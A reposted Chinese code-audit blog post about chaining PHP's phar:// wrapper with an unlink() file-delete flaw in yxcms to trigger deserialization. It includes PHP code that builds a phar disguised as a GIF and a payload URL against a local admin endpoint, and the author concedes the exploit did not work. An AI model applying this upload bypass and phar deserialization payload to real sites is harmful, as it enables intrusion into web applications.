代码审计集合-2

admin 2023年2月4日06:38:40评论57 views字数 1179阅读3分55秒阅读模式

phar伪协议和unlink配合造成反序列化漏洞。

前言

今天闲来无事看了看CTF,刚好看到了一个大佬的有关phar伪协议的文章,一开始对phar本来就是一知半解,然后看完大佬的文章后,我发现unlink这个地方可以执行phar伪协议,我就突然想起来前段时间有挖到一个yxcms的一个unlink任意文件删除,所以便想试一下能不能成功利用。

挖掘思路

因为phar伪协议也可以解压图片,所以我们可以找一个图片的上传点。

代码审计集合-2

在这里可以上传gif,jpg,png等文件。构造如下代码。

<?php  
//假装有这个类
class test{
   public function __destruct(){
        phpinfo();
    }
}

$test=new test();
echo serialize($test);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetaData($test);
$phar->addFromString("text1.txt","test");
$phar->stopBuffering();
 ?>

生成的phar文件改为.jpg发现上传解析错误,

代码审计集合-2也就是说网站不仅对图片后缀进行了检验。

代码审计集合-2应该是会把我们上传的内容进行解析,最后重新生成一个图片。那这里也好绕过,我们只要在文件前头加一个GIF89a就行了。

<?php  

class test{
   public function __destruct(){
        phpinfo();
    }
}

$test=new test();
echo serialize($test);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetaData($test);
$phar->addFromString("text1.txt","test");
$phar->stopBuffering();
 ?>
 
 //playload:http://127.0.0.1/yx/index.php?r=admin/files/del&fname=phar://upload/pages/image/20220907/thumb_1662521235.gif/
代码审计集合-2

后记

其实这里只是说了一个利用思路,因为后面我才发现参数前面被拼接了其他东西而且无法绕过。代码审计集合-2如果要成功执行得注释掉这俩行。简单来说就是啥也不是

原文始发于微信公众号(珠天PearlSky):代码审计集合-2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月4日06:38:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计集合-2http://cn-sec.com/archives/1283740.html

发表评论

匿名网友 填写信息